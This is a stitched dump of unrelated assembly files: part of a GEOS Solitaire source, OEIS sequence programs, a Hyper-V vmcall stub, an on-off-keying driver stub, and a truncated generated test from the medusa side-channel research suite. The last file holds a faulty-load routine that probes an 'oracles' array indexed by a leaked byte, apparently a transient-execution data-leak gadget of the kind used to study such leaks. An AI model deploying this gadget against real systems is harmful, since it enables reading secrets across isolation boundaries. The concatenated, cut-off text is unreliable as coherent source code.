MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL sendMessage: call ObjCallInstanceNoLock done: ret SolitaireUserRequestsUserModeChange endm SolitaireFixupUserModeList method SolitaireClass, MSG_SOLITAIRE_FIXUP_USER_MODE_LIST mov cl, ds:[di].GI_userMode clr ch mov bx, handle UserModeList mov si, offset UserModeList clr dx mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr di call ObjMessage ret SolitaireFixupUserModeList endm SolitaireSetScoringTypeAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock ; ; If it's vegas, then the new game will cost 52, so clear the ; score here ; mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_scoringType, ST_VEGAS jne redealNow clr ds:[di].GI_score redealNow: mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ret SolitaireSetScoringTypeAndRedeal endm SolitaireSetDrawNumberAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ret SolitaireSetDrawNumberAndRedeal endm SolitaireSetUserModeAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL mov ax, MSG_GAME_SET_USER_MODE call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_NEW_GAME call ObjCallInstanceNoLock ret SolitaireSetUserModeAndRedeal endm SolitaireDroppingDragCards method SolitaireClass, MSG_GAME_DROPPING_DRAG_CARDS mov di, offset SolitaireClass call ObjCallSuperNoLock jnc checkWait done: ret checkWait: mov di, ds:[si] add di, ds:[di].Solitaire_offset cmp ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING clc jne done mov ax, MSG_SOLITAIRE_CHECK_FOR_WINNER call ObjCallInstanceNoLock clc jmp done SolitaireDroppingDragCards endm SolitaireCheckHilites method SolitaireClass, MSG_GAME_CHECK_HILITES push cx mov ax, MSG_GAME_GET_USER_MODE call ObjCallInstanceNoLock cmp cl, INTERMEDIATE_MODE pop cx jne done mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_CHECK_HILITES call ObjCallSuperNoLock done: ret SolitaireCheckHilites endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGameTransfer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Trap the various transfer events to generate sounds CALLED BY: PASS: *ds:si = SolitaireClass object ds:di = SolitaireClass instance data RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGameTransfer method SolitaireClass, MSG_GAME_TRANSFERRING_CARDS, MSG_GAME_TRANSFER_FAILED ; We can check the message number to determine whether the transfer ; succeeded or failed, and play a different sound for each. cmp ax, MSG_GAME_TRANSFERRING_CARDS jne failed PLAY_SOUND SS_CARD_MOVE_FLIP ; "correctly placing a card on another card" sound jmp done failed: PLAY_SOUND SS_DROP_BAD ; "incorrectly placing a card on another card" sound done: ret SolitaireGameTransfer endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireDeckFlipCard %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Trap the TEx decks' flip card event to generate a sound CALLED BY: PASS: *ds:si = SolitaireDeckClass object ds:di = SolitaireDeckClass instance data RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireDeckFlipCard method SolitaireDeckClass, MSG_CARD_FLIP_CARD ; Play a sound. PLAY_SOUND SS_CARD_MOVE_FLIP ; "flip over a deck card" sound ; Then let the super do its work. mov di, offset SolitaireDeckClass call ObjCallSuperNoLock ret SolitaireDeckFlipCard endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitairePlaySound %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Plays a sound if the game sound is not muted. CALLED BY: PASS: cx = SolitaireSound RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitairePlaySound method SolitaireClass, MSG_SOLITAIRE_PLAY_SOUND uses ax, bx, cx, dx, di, es soundToken local GeodeToken .enter tst ds:[di].KI_muteSound jnz done segmov es, udata, ax cmp cx, SS_DEALING jne cardMoveFlip mov cx, es:[dealingSoundHandle] jmp playFM cardMoveFlip: cmp cx, SS_CARD_MOVE_FLIP jne dropBad mov cx, es:[cardMoveFlipSoundHandle] jmp playFM dropBad: cmp cx, SS_DROP_BAD jne outOfTime mov cx, es:[dropBadSoundHandle] jmp playFM outOfTime: cmp cx, SS_OUT_OF_TIME jne gameWon mov bx, SWIS_OUT_OF_TIME jmp playWav gameWon: cmp cx, SS_GAME_WON jne default mov bx, SWIS_GAME_WON jmp playWav playFM: ; ; Play an FM sound. ; mov ax, SST_CUSTOM_SOUND call UserStandardSound jmp done playWav: ; ; Play a WAV sound. ; ; Retrieve our GeodeToken. segmov es, ss, ax push bx ; save sound number lea di, soundToken mov bx, handle 0 ; bx <- app geode token mov ax, GGIT_TOKEN_ID call GeodeGetInfo ; Play the sound. pop bx ; restore sound number mov cx, es mov dx, di call WavPlayInitSound jmp done default: mov ax, SST_WARNING call UserStandardSound done: .leave ret SolitairePlaySound endm CommonCode ends ;end of CommonCode resource
23.440241
110
0.627582
7461d2d231bbef2e650281d6a0ebe192df4273e1
1,133
asm
Assembly
programs/oeis/047/A047538.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047538.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047538.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047538: Numbers that are congruent to {0, 1, 4, 7} mod 8. ; 0,1,4,7,8,9,12,15,16,17,20,23,24,25,28,31,32,33,36,39,40,41,44,47,48,49,52,55,56,57,60,63,64,65,68,71,72,73,76,79,80,81,84,87,88,89,92,95,96,97,100,103,104,105,108,111,112,113,116,119,120,121,124,127,128,129,132,135,136,137,140,143,144,145,148,151,152,153,156,159,160,161,164,167,168,169,172,175,176,177,180,183,184,185,188,191,192,193,196,199,200,201,204,207,208,209,212,215,216,217,220,223,224,225,228,231,232,233,236,239,240,241,244,247,248,249,252,255,256,257,260,263,264,265,268,271,272,273,276,279,280,281,284,287,288,289,292,295,296,297,300,303,304,305,308,311,312,313,316,319,320,321,324,327,328,329,332,335,336,337,340,343,344,345,348,351,352,353,356,359,360,361,364,367,368,369,372,375,376,377,380,383,384,385,388,391,392,393,396,399,400,401,404,407,408,409,412,415,416,417,420,423,424,425,428,431,432,433,436,439,440,441,444,447,448,449,452,455,456,457,460,463,464,465,468,471,472,473,476,479,480,481,484,487,488,489,492,495,496,497 add $0,5 mov $1,$0 div $1,4 mul $1,2 mov $2,$0 lpb $2,1 mov $3,$0 add $3,2 mov $0,$3 sub $2,4 lpe add $1,$0 sub $1,9
66.647059
945
0.703442
e1750c300a4f9877640f2ffe9f7ca294e2e9ef6e
114
asm
Assembly
libpal/intel_64bit_ms64_masm/vmcall_hyperv.asm
mars-research/pal
5977394cda8750ff5dcb89c2bf193ec1ef4cd137
[ "MIT" ]
26
2020-01-06T23:53:17.000Z
2022-02-01T08:58:21.000Z
libpal/intel_64bit_ms64_masm/vmcall_hyperv.asm
mars-research/pal
5977394cda8750ff5dcb89c2bf193ec1ef4cd137
[ "MIT" ]
30
2019-11-13T00:55:22.000Z
2022-01-06T08:09:35.000Z
libpal/intel_64bit_ms64_masm/vmcall_hyperv.asm
mars-research/pal
5977394cda8750ff5dcb89c2bf193ec1ef4cd137
[ "MIT" ]
14
2019-11-15T16:56:22.000Z
2021-12-22T10:14:17.000Z
.code pal_execute_vmcall_hyperv proc vmcall; mov rax, r8; ret; pal_execute_vmcall_hyperv endp end
9.5
30
0.719298
c0da4bfd7ca382d2fb7163401b39af765ce3b028
2,828
asm
Assembly
src/common/ook_driver.asm
electrondave/wgnet
2a1136877d2243141afa2972287befabebd82124
[ "Unlicense" ]
null
null
null
src/common/ook_driver.asm
electrondave/wgnet
2a1136877d2243141afa2972287befabebd82124
[ "Unlicense" ]
null
null
null
src/common/ook_driver.asm
electrondave/wgnet
2a1136877d2243141afa2972287befabebd82124
[ "Unlicense" ]
null
null
null
;******************************************************************************* ; * ; Filename: ook_driver.asm * ; Date: April 4, 2018 * ; File Version: 0.1 * ; Author: David Bartholomew * ; Company: Walnut Glen * ; Description: ook modulator / PPM Media Access Arbitrator * ; * ;******************************************************************************* ; global #include "p16f15324.inc" ; RC0PPS = 0x11; // RC0 is TX2 ; ;// CLC1 configuration ; ; ;//? Disable CLCx by clearing the LCxEN bit of the ;//CLCxCON register. ; CLC1CON = 0; ; ;//? Select desired inputs using CLCxSEL0 through ;//CLCxSEL3 registers (See Table 31-2). ; CLC1SEL0 = 4; // 4 mhz ; CLC1SEL1 = 31; // Uart 1 tx ; CLC1SEL2 = 8; // 32kHz ; CLC1SEL3 = 8; // 32kHz ; ; ;//? Clear any associated ANSEL bits. ; ;//? Enable the chosen inputs through the four gates ;//using CLCxGLS0, CLCxGLS1, CLCxGLS2, and ;//CLCxGLS3 registers. ; CLC1GLS0 = 2; // b1: odd bits are true select the 4 mhz only ; CLC1GLS1 = 8; // b3: select the uart only ; CLC1GLS2 = 0; // no signal ; CLC1GLS3 = 0; // no signal ; ; ;//? Select the gate output polarities with the ;//LCxGyPOL bits of the CLCxPOL register. ; CLC1POL = 0x02; // channel 1 inverted ; ;//? Select the desired logic function with the ;//LCxMODE<2:0> bits of the CLCxCON register. ; CLC1CON = 0; // 'AND-OR' functional mode ; ;//? Select the desired polarity of the logic output with ;//the LCxPOL bit of the CLCxPOL register. (This ;//step may be combined with the previous gate output ;//polarity step). ; // done iwth high bit 0 ; ;//? If driving a device pin, set the desired pin PPS ;//control register and also clear the TRIS bit ;//corresponding to that output. ; //RC4 is the modulator output ; RC4PPS = 1; // select CLC1OUT; ; ; ;//? If interrupts are desired, configure the following ;//bits: ;//- Set the LCxINTP bit in the CLCxCON register ;//for rising event. ;//- Set the LCxINTN bit in the CLCxCON ;//register for falling event. ;//- Set the CLCxIE bit of the PIE5 register. ;//- Set the GIE and PEIE bits of the INTCON ;//register. ; ;//? Enable the CLCx by setting the LCxEN bit of the ;//CLCxCON register. ; CLC1CON |= 0x80; ; ; ; ; ; ; ; ; ;; use dibit (2 bits) ppm encoding END
32.505747
80
0.492574
7fb6a85cfd968861502da29919ee48373c1df905
463
asm
Assembly
programs/oeis/060/A060343.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/060/A060343.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/060/A060343.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A060343: Smallest prime which is the sum of n composite numbers. ; 13,17,23,29,29,37,37,41,47,53,53,59,61,67,71,73,79,83,89,89,97,97,101,107,109,113,127,127,127,131,137,137,149,149,149,157,157,163,167,173,173,179,181,191,191,193,197,211,211,211,223,223,223,227,229,233,239 mul $0,2 add $0,6 mul $0,2 sub $0,1 seq $0,720 ; pi(n), the number of primes <= n. Sometimes called PrimePi(n) to distinguish it from the number 3.14159... seq $0,40 ; The prime numbers.
46.3
207
0.706263
a7068474253e4a1602b06159883c425c0e7e2ed9
551
asm
Assembly
programs/oeis/043/A043622.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/043/A043622.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/043/A043622.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A043622: Numbers n such that base 7 representation has exactly 7 runs. ; 120100,120101,120102,120103,120104,120105,120113,120114,120116,120117,120118,120119,120120,120121,120122,120124,120125,120126,120127,120128,120129,120130,120132,120133,120134,120135,120136 mov $1,$0 add $1,3 mov $2,$0 trn $2,5 mov $3,1 mov $5,4 lpb $2 mov $0,$2 mul $5,2 lpb $5 add $1,2 mov $4,$0 sub $5,6 lpe add $1,1 lpb $4 add $1,1 sub $4,$3 trn $4,1 sub $2,$4 mov $3,6 lpe trn $2,4 add $5,1 add $1,$5 lpe add $1,120097
17.774194
190
0.635209
ca924c2c5eeae4dd54ba8195b32ecfb789d89271
5,938
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1400.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1400.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1400.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x5, %rsi lea addresses_A_ht+0x9815, %rdi nop nop nop nop and $8687, %r8 mov $112, %rcx rep movsb nop nop cmp %r9, %r9 lea addresses_WT_ht+0x11415, %r12 nop nop nop nop nop sub $37285, %rax mov (%r12), %r9 nop nop nop xor %rax, %rax lea addresses_D_ht+0xd095, %r9 clflush (%r9) nop cmp %rcx, %rcx movl $0x61626364, (%r9) nop cmp %rcx, %rcx lea addresses_WC_ht+0x5f95, %rdi nop add $51280, %r9 vmovups (%rdi), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r8 nop nop nop nop nop add $50531, %rcx lea addresses_D_ht+0x162c5, %rsi nop nop nop nop dec %rax movb $0x61, (%rsi) nop nop nop nop nop add %rcx, %rcx lea addresses_WC_ht+0x4165, %r8 nop nop nop inc %r12 mov $0x6162636465666768, %r9 movq %r9, %xmm6 vmovups %ymm6, (%r8) nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0xe7a1, %rsi lea addresses_WC_ht+0x11625, %rdi xor $44922, %r15 mov $105, %rcx rep movsq nop nop sub $64544, %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %r8 push %rbp push %rbx push %rcx push %rsi // Store lea addresses_UC+0x15f0d, %rbp nop nop dec %rcx mov $0x5152535455565758, %rbx movq %rbx, (%rbp) nop nop dec %rcx // Faulty Load lea addresses_RW+0x1815, %r8 nop nop nop nop xor %rbp, %rbp mov (%r8), %rcx lea oracles, %rbx and $0xff, %rcx shlq $12, %rcx mov (%rbx,%rcx,1), %rcx pop %rsi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
38.064103
2,999
0.658134
cffbea5de51aacd76226348ef7339af35b5c17df
254
asm
Assembly
06-bootsector-segmentation/try.asm
benediktweihs/os-tutorial
629db14e01141622fce72e12d17ddb56f0e98312
[ "BSD-3-Clause" ]
null
null
null
06-bootsector-segmentation/try.asm
benediktweihs/os-tutorial
629db14e01141622fce72e12d17ddb56f0e98312
[ "BSD-3-Clause" ]
null
null
null
06-bootsector-segmentation/try.asm
benediktweihs/os-tutorial
629db14e01141622fce72e12d17ddb56f0e98312
[ "BSD-3-Clause" ]
null
null
null
[org 0x7c00] mov ah, 0x0e ; output tty mov al, lenMes int 0x10 mov al, [text] begin: cmp al, lenMes je end jmp print add al, 0x1 print: int 0x10 end: jmp $ text: db "Hallo welt" lenMes equ $ - text times 510 - ($ - $$) db 0 dw 0xaa55
9.071429
25
0.614173
127ad2fdfb4cfbb9500a0ebe9f6e72726f5c1616
1,361
asm
Assembly
programs/oeis/077/A077262.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/077/A077262.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/077/A077262.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A077262: Second member of the Diophantine pair (m,k) that satisfies 5*(m^2 + m) = k^2 + k; a(n) = k. ; 0,5,14,99,260,1785,4674,32039,83880,574925,1505174,10316619,27009260,185124225,484661514,3321919439,8696898000,59609425685,156059502494,1069647742899,2800374146900,19194049946505,50250675141714,344423251294199,901711778403960,6180424473349085,16180561336129574,110903217268989339,290348392271928380,1990077486368459025,5210090499558581274,35710491537363273119,93491280599782534560,640798770186170457125,1677632960296527040814,11498667371813704955139,30103902004737704200100,206335213922460518735385,540192603124982148560994,3702535183232475632281799,9693362954244940969897800,66439298084262100862337005,173940340573283955309599414,1192204830333485339889784299,3121232767364866254602891660,21393247647918474017153780385,56008249471994308627542450474,383886252832199046968878262639,1005027257728532689041161216880,6888559303331664371422654947125,18034482389641594094113359453374,123610181207137759638638910785619,323615655755820161004999308943860,2218094702425148009124077739194025,5807047321215121303995874201536114,39802094462445526404594760394706839,104203236126116363310920736318706200,714219605621594327273581609365529085 add $0,1 mov $2,$0 div $0,2 sub $0,1 add $0,$2 mov $1,$0 mov $0,1 mov $3,2 lpb $1 sub $1,1 add $3,$0 add $0,$3 lpe div $0,2
75.611111
1,126
0.880235
edb5f16543b7b9e5401dface9abcbfa9e67fb3b9
8,127
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1391.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1391.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1391.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x113f7, %rax nop nop nop nop inc %r12 and $0xffffffffffffffc0, %rax vmovaps (%rax), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rbx nop nop nop nop sub $4265, %r13 lea addresses_WT_ht+0x10a7, %rsi lea addresses_WT_ht+0x2877, %rdi xor $33743, %rbp mov $123, %rcx rep movsw nop nop nop nop nop sub $61289, %rbx lea addresses_normal_ht+0xe1e7, %r13 clflush (%r13) nop nop add $575, %rbx mov $0x6162636465666768, %rax movq %rax, %xmm5 movups %xmm5, (%r13) nop nop nop nop dec %rbx lea addresses_WT_ht+0x1abf7, %rsi lea addresses_D_ht+0x127f7, %rdi xor %r13, %r13 mov $102, %rcx rep movsb cmp %rbp, %rbp lea addresses_WC_ht+0xb9f7, %rcx nop nop nop nop nop dec %r12 vmovups (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rbp xor %rsi, %rsi lea addresses_WT_ht+0x147d1, %rdi nop dec %rsi mov (%rdi), %cx nop nop nop nop nop sub $16673, %rbp lea addresses_WC_ht+0x143f7, %rbx clflush (%rbx) nop nop nop nop nop cmp $15724, %rbp mov (%rbx), %rdi nop and %rbx, %rbx lea addresses_D_ht+0xc3f7, %r13 nop nop xor $8684, %rsi mov $0x6162636465666768, %rax movq %rax, %xmm6 vmovups %ymm6, (%r13) nop nop nop and %r13, %r13 lea addresses_normal_ht+0x1d3f7, %rax sub %rbx, %rbx movb $0x61, (%rax) nop nop nop nop nop and %rsi, %rsi lea addresses_D_ht+0x7b07, %rdi clflush (%rdi) nop nop nop nop nop cmp %rcx, %rcx movb $0x61, (%rdi) cmp %r13, %r13 lea addresses_normal_ht+0x18ef3, %rdi nop add %rbp, %rbp movb $0x61, (%rdi) nop nop dec %rax lea addresses_D_ht+0x13bf7, %rbx nop nop nop nop nop add %rax, %rax mov $0x6162636465666768, %rcx movq %rcx, (%rbx) nop nop nop xor $25212, %rcx lea addresses_WT_ht+0xc70b, %rbx xor $3040, %r13 vmovups (%rbx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r12 nop nop sub %rsi, %rsi lea addresses_normal_ht+0x1c497, %rbp nop nop nop nop and $42310, %rbx mov $0x6162636465666768, %r13 movq %r13, (%rbp) dec %r12 lea addresses_UC_ht+0xfb7, %rsi lea addresses_A_ht+0xc70f, %rdi nop cmp $64204, %rax mov $95, %rcx rep movsl nop nop nop sub %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %rax push %rdi push %rsi // Store lea addresses_PSE+0x13177, %r10 clflush (%r10) nop and %rax, %rax movl $0x51525354, (%r10) nop sub $47727, %rsi // Faulty Load lea addresses_RW+0x8bf7, %r12 nop and $45394, %rdi movntdqa (%r12), %xmm4 vpextrq $0, %xmm4, %rax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rsi pop %rdi pop %rax pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 